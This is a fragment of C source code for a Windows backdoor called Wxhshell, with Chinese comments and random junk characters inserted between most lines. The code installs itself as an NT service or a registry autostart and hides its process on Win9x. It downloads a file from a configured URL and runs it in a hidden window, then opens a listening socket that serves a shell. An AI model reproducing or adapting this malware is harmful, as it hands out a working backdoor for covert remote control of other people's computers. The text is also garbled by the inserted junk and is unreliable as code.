dTu*%S1Z CloseHandle(hProcess); JKO*bbj 5[r}'08b if(strstr(procName,"services")) return 1; // 以服务启动 Nh/i'q/ *qAG0EM| return 0; // 注册表启动 vWrTB } /FpPf[ m\/) m]wR // 主模块 0R`>F"> int StartWxhshell(LPSTR lpCmdLine) yV(9@lj3; { -"a(<JC^NI SOCKET wsl; +ZiYl[_| BOOL val=TRUE; m .(\u?J int port=0; m_Z(osoE#W struct sockaddr_in door; h&v].l wgolgof if(wscfg.ws_autoins) Install(); {hN<Ot M8 \/[R\ port=atoi(lpCmdLine); v@8SMOe% 8'bZR] if(port<=0) port=wscfg.ws_port; JC~4B3! Mqk|H~l5c WSADATA data; 9 BU#THDm if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Eyk:pnKJb /YU8L if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2Q@Jp`#,4 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h8Oj
E$
H door.sin_family = AF_INET; J(maJuY door.sin_addr.s_addr = inet_addr("127.0.0.1"); y;4g>ma0 door.sin_port = htons(port); 3
Fy CD4# HINk&)FC if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]q[(z closesocket(wsl); gW4fwE^ return 1; nhC8Tq[m } 4}cxSl]jf! E4Ez)IaKyi if(listen(wsl,2) == INVALID_SOCKET) { |;t{L^ closesocket(wsl); PNo:vRtsq return 1; 7r)]9_[( } !O}e)t Wxhshell(wsl); 9%3+\[s1 WSACleanup(); r|\{!;7 -e_TJA return 0; 61&{I>~1 7IkEud } ht>/7.p] $]}K ; // 以NT服务方式启动 ;#IrHR*Bk VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K7(k_4 { >hq{:m DWORD status = 0; O'#;Ge/, DWORD specificError = 0xfffffff; &b*v7c=o ,,80nW9E serviceStatus.dwServiceType = SERVICE_WIN32; LikCIO serviceStatus.dwCurrentState = SERVICE_START_PENDING; matm>3n serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4x4[ serviceStatus.dwWin32ExitCode = 0; h)j#?\KYm9 serviceStatus.dwServiceSpecificExitCode = 0; 3vAP&i'I serviceStatus.dwCheckPoint = 0; <gH-`3J6 serviceStatus.dwWaitHint = 0; 0pW;H|h ]GCw3r(! hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1|ddG010 if (hServiceStatusHandle==0) return; YPq:z"`-y4 .V0fbHYTJ status = GetLastError(); G?\eO&QG{" if (status!=NO_ERROR) Ex*{iJ;\ { mvt-+K?U serviceStatus.dwCurrentState = SERVICE_STOPPED; _LfbEv<,T serviceStatus.dwCheckPoint = 0; 3$:F/H serviceStatus.dwWaitHint = 0; }aXS MxCd serviceStatus.dwWin32ExitCode = status; ,WnZ^R/n serviceStatus.dwServiceSpecificExitCode = specificError; '/9MN;_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); /YJBRU2 return; J&JZYuuf } @W
@,8e]c zw$\d1-+h serviceStatus.dwCurrentState = SERVICE_RUNNING; I5g|)Y Q serviceStatus.dwCheckPoint = 0; 3="vOSJ6& serviceStatus.dwWaitHint = 0; 4!xRA '' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `v<S } 1{d;Ngx hgE:2@ // 处理NT服务事件,比如:启动、停止 s~B)xYmyB' VOID WINAPI NTServiceHandler(DWORD fdwControl) vUO[V$rx { 5[)#3vY switch(fdwControl) ya^8mp- { P0OMu/ case SERVICE_CONTROL_STOP: >t'A1`W serviceStatus.dwWin32ExitCode = 0; O&;d8 2IA{ serviceStatus.dwCurrentState = SERVICE_STOPPED; yENAc sv serviceStatus.dwCheckPoint = 0; T;{:a-8 serviceStatus.dwWaitHint = 0; (.YSs { EL z5P}L6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); :)B1|1 } }0@@_Y]CC return; s?->2gxhx case SERVICE_CONTROL_PAUSE: Y+vIU*O serviceStatus.dwCurrentState = SERVICE_PAUSED; +\&6Zbn break; i`];xNR' case SERVICE_CONTROL_CONTINUE: O<,\tZ'N serviceStatus.dwCurrentState = SERVICE_RUNNING; @]2aPs} }6 break; 'o0o.&/= case SERVICE_CONTROL_INTERROGATE: F9%+7Op^ break; zzo93d }; !Yn#3c SetServiceStatus(hServiceStatusHandle, &serviceStatus); QOrMz`OA } $""kZ 0CXXCa7! // 标准应用程序主函数 5P\A++22Y int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pw7uxN` { P,WQN[(+ <}8G1<QZ'. // 获取操作系统版本 di9OQ*6a7 OsIsNt=GetOsVer(); ^u"WWLZ GetModuleFileName(NULL,ExeFile,MAX_PATH); 3#]II j`\ cwtlOg // 从命令行安装 (0`w.n if(strpbrk(lpCmdLine,"iI")) Install(); Vmh$c*TE vRf$#fBEQ // 下载执行文件 7w8UnPuM if(wscfg.ws_downexe) { RF'nwzM3 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s] ;P< WinExec(wscfg.ws_filenam,SW_HIDE); D2gyn-]\ } um_J%v6ER " Qyi/r41 if(!OsIsNt) { *f>\X[wN // 如果时win9x,隐藏进程并且设置为注册表启动 Jq? zr]"A HideProc(); a'Zw^g StartWxhshell(lpCmdLine); ,2 W=/,5A } <]|HGc else .q4$)8[Pg if(StartFromService()) 9Hb|$/FD // 以服务方式启动 afD {w*[8 StartServiceCtrlDispatcher(DispatchTable); p>3QW3< else a;-%C{S9r // 普通方式启动 I\c7V~^hnG StartWxhshell(lpCmdLine); ONy\/lu| %N(>B_t\ return 0; #9.%>1{6Y }
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